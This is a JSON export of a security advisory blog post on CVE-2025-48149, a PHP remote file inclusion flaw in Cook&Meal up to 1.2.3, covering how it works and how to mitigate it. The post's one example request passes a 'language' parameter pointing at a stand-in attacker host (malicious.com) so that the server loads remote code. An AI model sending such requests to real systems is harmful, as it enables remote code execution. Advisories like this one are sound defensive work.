{"id":71659,"date":"2025-09-05T23:57:57","date_gmt":"2025-09-05T23:57:57","guid":{"rendered":""},"modified":"2025-11-03T21:09:27","modified_gmt":"2025-11-04T03:09:27","slug":"cve-2025-48149-php-remote-file-inclusion-vulnerability-in-cook-meal","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-48149-php-remote-file-inclusion-vulnerability-in-cook-meal\/","title":{"rendered":"CVE-2025-48149: PHP Remote File Inclusion Vulnerability in Cook&Meal<\/strong>"},"content":{"rendered":"

Overview<\/strong><\/p>\n

In the ever-advancing sphere of cybersecurity, emerging threats and vulnerabilities constantly challenge the integrity of our digital systems. One such vulnerability, identified as CVE-2025-48149, exposes a critical weakness in the Cook&Meal software. This vulnerability, known as PHP Remote File Inclusion (RFI), allows an attacker to execute arbitrary PHP code remotely<\/a>. It affects all versions of Cook&Meal up to and including 1.2.3. Given the high severity score of 8.1 assigned by the Common Vulnerability Scoring System<\/a> (CVSS), it’s vital for users and administrators to understand the implications and take immediate remedial actions.<\/p>\n

Vulnerability Summary<\/strong><\/p>\n

CVE ID: CVE-2025-48149
\nSeverity: High (8.1 CVSS Score)
\nAttack Vector: Network
\nPrivileges Required: Low
\nUser Interaction: None
\nImpact: System Compromise and\/or Data<\/a> Leakage<\/p>\n

Affected Products<\/strong><\/p>\n

Product | Affected Versions<\/p>\n

Cook&Meal | Up to and including 1.2.3<\/p>\n

How the Exploit Works<\/strong><\/p>\n

The vulnerability stems from improper control<\/a> of the filename for an include\/require statement in a PHP program within Cook&Meal. This flaw allows an attacker to control the input path for the file, leading to the inclusion of remote files<\/a> hosted on an attacker-controlled server. The attacker can then execute arbitrary PHP code within the server’s context, potentially leading<\/a> to a full system compromise.<\/p>\n

Conceptual Example Code<\/strong><\/p>\n

An attacker could exploit this vulnerability by sending a specially crafted request<\/a> to the vulnerable application. A conceptual example of this might look like the following HTTP request:<\/p>\n

GET \/index.php?language=http:\/\/malicious.com\/evilcode.txt HTTP\/1.1\nHost: target.example.com<\/code><\/pre>\n
In this example, the ‘language’ parameter would typically be used to include a local file<\/a> that contains language-specific text for the application. However, due to the vulnerability<\/a>, the attacker has manipulated it to include a remote file (`evilcode.txt`) hosted on their control server (`malicious.com`).<\/p>\n
Mitigation and Recommendations<\/strong><\/p>\n
The most effective way to address this vulnerability<\/a> is by applying the vendor-supplied patch. In the absence of a patch or while waiting for its deployment, organizations can use web application firewalls (WAFs) or intrusion detection systems (IDS) to monitor and block suspicious activities related to this exploit<\/a>. Regular system and application updates should also form part of a comprehensive cybersecurity strategy to prevent similar vulnerabilities<\/a> in the future.<\/p>\n","protected":false},"excerpt":{"rendered":"
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